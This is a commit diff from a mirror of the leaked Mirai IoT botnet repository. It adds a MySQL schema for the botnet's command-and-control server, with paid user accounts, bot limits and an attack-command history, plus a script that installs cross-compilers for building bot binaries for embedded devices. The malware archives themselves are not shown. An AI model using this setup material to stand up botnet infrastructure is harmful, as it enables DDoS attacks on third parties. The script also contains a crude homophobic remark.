mirror of
https://github.com/jgamblin/Mirai-Source-Code
synced 2025-07-28 06:02:53 +00:00
upload
This commit is contained in:
parent
1bd2fb160c
commit
3f80dfb16e
36
Configuring_CNC_Database.txt
Normal file
36
Configuring_CNC_Database.txt
Normal file
@ -0,0 +1,36 @@
|
||||
CREATE DATABASE mirai;
|
||||
|
||||
CREATE TABLE `history` (
|
||||
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
|
||||
`user_id` int(10) unsigned NOT NULL,
|
||||
`time_sent` int(10) unsigned NOT NULL,
|
||||
`duration` int(10) unsigned NOT NULL,
|
||||
`command` text NOT NULL,
|
||||
`max_bots` int(11) DEFAULT '-1',
|
||||
PRIMARY KEY (`id`),
|
||||
KEY `user_id` (`user_id`)
|
||||
);
|
||||
|
||||
CREATE TABLE `users` (
|
||||
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
|
||||
`username` varchar(32) NOT NULL,
|
||||
`password` varchar(32) NOT NULL,
|
||||
`duration_limit` int(10) unsigned DEFAULT NULL,
|
||||
`cooldown` int(10) unsigned NOT NULL,
|
||||
`wrc` int(10) unsigned DEFAULT NULL,
|
||||
`last_paid` int(10) unsigned NOT NULL,
|
||||
`max_bots` int(11) DEFAULT '-1',
|
||||
`admin` int(10) unsigned DEFAULT '0',
|
||||
`intvl` int(10) unsigned DEFAULT '30',
|
||||
`api_key` text,
|
||||
PRIMARY KEY (`id`),
|
||||
KEY `username` (`username`)
|
||||
);
|
||||
|
||||
CREATE TABLE `whitelist` (
|
||||
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
|
||||
`prefix` varchar(16) DEFAULT NULL,
|
||||
`netmask` tinyint(3) unsigned DEFAULT NULL,
|
||||
PRIMARY KEY (`id`),
|
||||
KEY `prefix` (`prefix`)
|
||||
);
|
24
README.md
24
README.md
@ -1,3 +1,23 @@
|
||||
# Mirai Botnet Client, Echo Loader and CNC source code
|
||||
|
||||
# Mirai Botnet Client, Echo Loader and CNC source code
|
||||
|
||||
This is the source code released from [here](http://hackforums.net/showthread.php?tid=5420472) as discussed in this [Brian Krebs Post](https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/).
|
||||
|
||||
---
|
||||
|
||||
I found
|
||||
|
||||
mirai.src.zip from [VT](https://www.virustotal.com/en/file/68d01cd712da9c5f889ce774ae7ad41cd6fbc13c42864aa593b60c1f6a7cef63/analysis/)
|
||||
|
||||
loader.src.zip from [VT](https://www.virustotal.com/en/file/fffad2fbd1fa187a748f6d2009b942d4935878d2c062895cde53e71d125b735e/analysis/)
|
||||
|
||||
dlr.src.zip from [VT](https://www.virustotal.com/en/file/519d4e3f9bc80893838f94fd0365d587469f9468b4fa2ff0fb0c8f7e8fb99429/analysis/)
|
||||
|
||||
Maybe they are original files.
|
||||
|
||||
|
||||
|
||||
Configuring_CNC_Database.txt from [pastebin.com/86d0iL9g](http://pastebin.com/86d0iL9g)
|
||||
|
||||
Setting_Up_Cross_Compilers.sh from [pastebin.com/1rRCc3aD](http://pastebin.com/1rRCc3aD)
|
||||
|
||||
Felicitychou
|
||||
|
62
Setting_Up_Cross_Compilers.sh
Normal file
62
Setting_Up_Cross_Compilers.sh
Normal file
@ -0,0 +1,62 @@
|
||||
# RUN ALL OF THESE AS A PRIVELEGED USER, SINCE WE ARE DOWNLOADING INTO /etc
|
||||
|
||||
# You're gay if you don't use Debian
|
||||
apt-get install gcc golang electric-fence
|
||||
|
||||
mkdir /etc/xcompile
|
||||
cd /etc/xcompile
|
||||
|
||||
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
|
||||
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
|
||||
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
|
||||
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
|
||||
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
|
||||
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
|
||||
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
|
||||
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
|
||||
|
||||
tar -jxf cross-compiler-armv4l.tar.bz2
|
||||
tar -jxf cross-compiler-i586.tar.bz2
|
||||
tar -jxf cross-compiler-m68k.tar.bz2
|
||||
tar -jxf cross-compiler-mips.tar.bz2
|
||||
tar -jxf cross-compiler-mipsel.tar.bz2
|
||||
tar -jxf cross-compiler-powerpc.tar.bz2
|
||||
tar -jxf cross-compiler-sh4.tar.bz2
|
||||
tar -jxf cross-compiler-sparc.tar.bz2
|
||||
|
||||
rm *.tar.bz2
|
||||
mv cross-compiler-armv4l armv4l
|
||||
mv cross-compiler-i586 i586
|
||||
mv cross-compiler-m68k m68k
|
||||
mv cross-compiler-mips mips
|
||||
mv cross-compiler-mipsel mipsel
|
||||
mv cross-compiler-powerpc powerpc
|
||||
mv cross-compiler-sh4 sh4
|
||||
mv cross-compiler-sparc sparc
|
||||
|
||||
-- END --
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# PUT THESE COMMANDS IN THE FILE ~/.bashrc
|
||||
|
||||
# Cross compiler toolchains
|
||||
export PATH=$PATH:/etc/xcompile/armv4l/bin
|
||||
export PATH=$PATH:/etc/xcompile/armv6l/bin
|
||||
export PATH=$PATH:/etc/xcompile/i586/bin
|
||||
export PATH=$PATH:/etc/xcompile/m68k/bin
|
||||
export PATH=$PATH:/etc/xcompile/mips/bin
|
||||
export PATH=$PATH:/etc/xcompile/mipsel/bin
|
||||
export PATH=$PATH:/etc/xcompile/powerpc/bin
|
||||
export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
|
||||
export PATH=$PATH:/etc/xcompile/sh4/bin
|
||||
export PATH=$PATH:/etc/xcompile/sparc/bin
|
||||
|
||||
# Golang
|
||||
export PATH=$PATH:/usr/local/go/bin
|
||||
export GOPATH=$HOME/Documents/go
|
||||
|
||||
-- END --
|
BIN
dlr.src.zip
Normal file
BIN
dlr.src.zip
Normal file
Binary file not shown.
BIN
loader.src.zip
Normal file
BIN
loader.src.zip
Normal file
Binary file not shown.
BIN
mirai.src.zip
Normal file
BIN
mirai.src.zip
Normal file
Binary file not shown.
Loading…
x
Reference in New Issue
Block a user